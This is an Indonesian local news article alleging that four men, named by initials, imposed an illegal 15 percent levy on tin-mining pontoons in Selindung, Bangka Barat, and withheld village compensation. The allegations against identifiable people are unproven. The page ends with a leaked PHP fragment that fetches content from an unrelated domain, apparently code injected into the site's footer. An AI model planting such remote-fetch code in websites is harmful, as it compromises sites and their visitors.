Terungkapnya Suatu Fakta Roby Cs, Kepala Dusun Selindung Beberkan Aksi Mereka

Minggu, 25 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Versi ke 2 ,Informasi Tentang Rby cs Dugaan Pungli 15 Persen Penyelewengan Konvensasi PIP Di Perairan Selindung

Bangka Barat , jejak kasus.info-PIP( Ponton ISPA Produksi) diperairan Dusun selindung, Desa Air putih, Kabupaten Bangka Barat ditemukan informasi baru tentang 4 sekawan yang tidak memberikan konvensasi kepihak desa dengan adanya dugaan pungli 15 persen di kubu Rby mencuat bukti bahwa keterangan yang diperoleh memang sesuai fakta dilapangan, Sabtu 24 Agustus 2024.

Informasi keterangan bahwa mereka dari semenjak PiP beroperasi di selindung tidak sekali pun mereka berikan konvensasi ke desa , Bahkan yang tidak masuk diakal konvensasi yang sudah Masuk kedesa Air putih pun mereka tarik kembali.

Tak hanya sampai disitu merut keterangan Kepala toko masyarakat saat ditemui dikediamannya mejelaskan secara detail kepada tim media bahwa Rby , Rsn,SPN, Gn rupanya memang dari semenjak dilegalkan PIP yang beroperasi RK selindung mengatur perjanjian konvensasi dengan CV tanpa melalui persetujuan dari pihak Pemerintah desa dan BUMDES ( Bandan Miki Desa)yang ditandatangani (Pi) Konvensasinya mereka di tandatangani sendiri yang di buatkan oleh pihak CV, bahkan timah yang hasil di PIP Rby yang beli bukan CV .

Baca Juga:  HUT Satlantas Polri ke-66, Polres Bangkalan Adakan Vaksinasi untuk Tunawisma

Dengan demikian disimpulkan bahwa informasi data yang di peroleh tim Roby cs melakukan pemungutan liar secara sepihak terhadap izin dari pihak pemungutan (Pi) konvensasi 15 persen itu dilakukan mereka secara pribadi tanpa menyetor ke CV maupun PT timah yang memberikan SPK ( Surat Perintah Kerja) sebagai badan Legalitasnya Mitra PT timah CV, bayak yang dirugikan dari aksi penyelewengan 4 sekawanan ini , Dari sisi lain pihak pemerintah desa yang tentunya mempunyai adil peran besar dalam investasi yang bekerja di wilayahnya wajib menyetujui kontrak mitra usaha yang bekerja di wilayah selindung dan menandatangani kontrak melalui Pemdes.

Baca Juga:  Kapolda Metro Jaya Irjen Pol Fadil Imran mengatakan bahwa suatu organisasi

Kemudian CV mitra PT timah secara jelas dirugikan atas dugaan pemungutan liar mereka yang punya unsur sengaja menyuruh penambang untuk tidak setor ke pihak mitra PT timah (CV)”

“Rby Cs asumsi mengatakan kepenambang disuruh bayar Pi lalu timah terserah mau di jual kemana ” ungkap Penambang

Aparat Penegak hukum dan Pihak Wastam PT timah sampai saat ini masih belum ada tindakan apapun yang diduga segaja Membiarkan para mapia PIP dikawasan Perairan selindung bermain lebih jauh atas dugan penyelewengan konvensasi legalitas perusahaan yang bergerak tanpa adanya keputusan surat resmi dari pihak pemerintah Desa.

Baca Juga:  Dugaan Tempat Penimbunan BBM Solar Subsidi di Gang Mawar Sedayulawas, Belum di Endus Polisi

Menurut UUD tentang penyelewengan, korupsi
Kemudian, Pasal 4 menyebut bagi setiap orang yang menyembunyikan atau menyamarkan asal usul, sumber, lokasi, peruntukan, pengalihan hak-hak, atau kepemilikan harta kekayaan dari tindak pidana, mendapat sanksi penjara paling lama 20 tahun dan denda paling banyak 5 Miliar Rupiah.

Sementara itu, Pasal 5 ayat (1) menyebut setiap orang yang menerima atau menguasai penempatan, pentransferan, pembayaran, hibah, sumbangan, penitipan, penukaran, atau menggunakan harta kekayaan dari tindak pidana, mendapat sanksi penjara paling lama 5 tahun dan denda paling banyak 1 Miliar Rupiah.( Tim jejak kasus.info , Musarofa Melaporkan )

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029
Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar
Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang
Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terkait

Sabtu, 21 September 2024 - 00:03 WIB

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029

Sabtu, 21 September 2024 - 00:00 WIB

Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar

Jumat, 20 September 2024 - 23:43 WIB

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>